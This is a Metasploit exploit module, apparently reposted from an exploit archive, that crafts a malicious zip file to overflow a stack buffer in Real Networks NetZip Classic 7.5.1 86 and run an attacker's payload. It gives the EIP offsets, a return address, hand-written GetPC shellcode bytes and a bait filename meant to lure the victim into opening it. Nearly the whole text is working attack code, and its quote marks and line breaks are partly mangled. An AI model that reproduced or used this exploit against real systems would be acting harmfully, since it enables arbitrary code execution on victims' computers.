Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow

##
# $Id: real_networks_netzip_bof.rb 13952 2011-10-16 15:47:04Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require ‘msf/core’
require ‘rex/zip’

class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => ‘Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer Overflow Vulnerability’,
‘Description’ => %q{
This module exploits a stack-based buffer overflow vulnerability in
version 7.5.1 86 of Real Networks Netzip Classic.
In order for the command to be executed, an attacker must convince someone to
load a specially crafted zip file with NetZip Classic.
By doing so, an attacker can execute arbitrary code as the victim user.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘C4SS!0 G0M3S’, # Vulnerability discovery and original exploit
‘TecR0c ‘, # Metasploit module
],
‘Version’ => ‘$Revision: 13952 $’,
‘References’ =>
[
[ ‘BID’, ‘46059’ ],
[ ‘URL’, ‘http://proforma.real.com’ ],
[ ‘URL’, ‘http://www.exploit-db.com/exploits/16083/’ ],
],
‘Platform’ => [ ‘win’ ],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘thread’,
},
‘Payload’ =>
{
‘Space’ => 1000,
‘BadChars’ => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
‘DisableNops’ => true,
‘EncoderOptions’ =>
{
‘BufferRegister’ => ‘ESI’
}
},
‘Targets’ =>
[
[
‘Windows XP SP3’,
{
‘Offset’ => 247, # To EIP
‘Ret’ => 0x10061cf9, # PUSH ESP # RETN 08 – NPSYSTEM.dll 7.5.1.86
‘Max’ => 2000, # Max buffer size
}
],

[
‘Windows 7/Windows Vista’,
{
‘Offset’ => 248, # To EIP
‘Ret’ => 0x10061cf9, # PUSH ESP # RETN 08 – NPSYSTEM.dll 7.5.1.86
‘Max’ => 2000, # Max buffer size
}
],
],
‘DisclosureDate’ => ‘Jan 30 2011’,
‘DefaultTarget’ => 0))

register_options(
[
OptString.new(‘FILENAME’, [ true, ‘The output file name.’, ‘msf.zip’]),
OptString.new(‘CONTENTNAME’, [ true, ‘Name of the fake zipped file’, ‘passwords.txt’]),
], self.class)

end

def exploit

buffer = “#{datastore[‘CONTENTNAME’]}”
buffer << ' ' * (target['Offset']-buffer.length) buffer << [target.ret].pack('V') buffer << make_nops(8) # GetPC - Non ascii characters get converted buffer << "\x89\x05" #jmp short (5 bytes) to 'jmp back' at end buffer << "\x5e" #pop esi buffer << "\x41" #nop (inc ecx) buffer << "\x98\x99" #call esi buffer << "\x41" #nop (inc ecx) buffer << "\x8a\x94\x98\x98\x98" #jmp back to pop esi buffer << payload.encoded buffer << rand_text_alpha(target['Max']-buffer.length) zip = Rex::Zip::Archive.new xtra = [0xdac0ffee].pack('V') comment = [0xbadc0ded].pack('V') zip.add_file(buffer, xtra, comment) # Create the file print_status("Creating '#{datastore['FILENAME']}' file...") file_create(zip.pack) end end # 1337day.com [2011-10-16]